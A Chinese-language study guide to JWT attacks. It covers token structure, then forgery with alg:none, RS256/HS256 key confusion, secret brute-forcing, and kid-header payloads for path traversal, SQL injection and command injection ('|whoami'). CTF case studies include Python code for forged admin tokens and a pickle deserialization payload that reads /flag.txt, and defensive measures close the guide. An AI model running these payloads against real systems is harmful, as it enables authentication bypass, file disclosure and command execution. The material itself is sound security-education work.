JWT攻击学习
字数 1481 2025-08-05 19:10:07
JSON Web Token (JWT) 攻击学习指南
JWT 概述
JSON Web Token (JWT) 是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,经常用在跨域身份验证。
与 Cookie/Session 的区别
- Cookie:加密措施不当容易造成信息泄露或伪造
- Session:服务端存储会话信息,客户端量增加时服务器压力大
- JWT:服务器不保存会话数据,验证通过后返回带签名的JSON对象给客户端存储
JWT 构成
JWT由三部分组成,格式为:header.payload.signature
1. Header (头部)
包含两部分信息:
- 声明类型 (
typ): 通常是"JWT" - 声明加密算法 (
alg): 如HS256、RS256等
示例:
{
"typ": "JWT",
"alg": "HS256"
}
2. Payload (载荷)
存放有效信息,包含三类声明:
-
标准中注册的声明:
iss: jwt签发者sub: jwt所面向的用户aud: 接收jwt的一方exp: jwt过期时间nbf: 定义在什么时间之前不可用iat: jwt签发时间jti: jwt唯一身份标识
-
公共的声明:可添加任何信息,但不建议敏感信息
-
私有的声明:提供者和消费者共同定义的声明
示例:
{
"sub": "1234567890",
"name": "purplet",
"admin": true,
"secretid": 1
}
3. Signature (签名)
由三部分组成:
- base64编码后的header
- base64编码后的payload
- secret (密钥)
生成方式:
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');
JWT 攻击方法
1. 签名无效攻击
原理:服务端未校验token签名,攻击者可修改payload内容生成新token绕过验证
利用:直接修改payload内容,生成新token
2. 空加密算法攻击
原理:JWT支持使用空加密算法(alg: none),将secret置空
利用:
import jwt
token = jwt.encode(
{"user": "admin"},
algorithm="none",
key=""
).decode(encoding='utf-8')
print(token)
3. 修改算法RS256为HS256
原理:
- RS256: 非对称加密,使用私钥签名,公钥验证
- HS256: 对称加密,使用密钥签名和验证
- 攻击者将算法改为HS256,使用获取的公钥作为密钥伪造签名
4. 爆破密钥
前提条件:
- 知悉JWT使用的加密算法
- 一段有效的、已签名的token
- 签名用的密钥不复杂(弱密钥)
工具:c-jwt-cracker
5. 修改KID参数攻击
原理:kid(key ID)用于指定加密算法的密钥,可被利用进行多种攻击
攻击方式:
- 目录遍历:
{
"alg": "HS256",
"typ": "jwt",
"kid": "/etc/passwd"
}
- SQL注入:
{
"alg": "HS256",
"typ": "jwt",
"kid": "aaaaaaa' UNION SELECT 'key';-- "
}
- 命令执行:
{
"alg": "HS256",
"typ": "jwt",
"kid": "/path/to/key_file|whoami"
}
6. 修改JKU/X5U参数攻击
原理:
jku(JWKSet URL): 指定一组加密token密钥的URLx5u: 用于验证Token的公钥证书或证书链- 若未严格过滤,攻击者可指定恶意密钥文件
7. 信息泄露
原理:直接base64解码payload部分获取敏感信息
实战案例
案例1: easy_login
- 发现secretid为空数组时可绕过验证
- 构造admin用户的token:
import jwt
token = jwt.encode(
{"secretid":[],
"username":"admin",
"password":"888"},
algorithm="none",
key=""
).decode('utf-8')
print(token)
输出:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6Ijg4OCJ9.
案例2: ikun
- 发现JWT长度较短,使用工具爆破密钥
- 利用Python反序列化漏洞:
import pickle
import urllib.parse
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload(),protocol=0)
a = urllib.parse.quote(a)
print(a)
防御措施
- 始终验证JWT签名
- 禁用
none算法 - 使用强密钥并定期更换
- 严格过滤
kid、jku、x5u等参数 - 限制JWT的有效期
- 避免在payload中存储敏感信息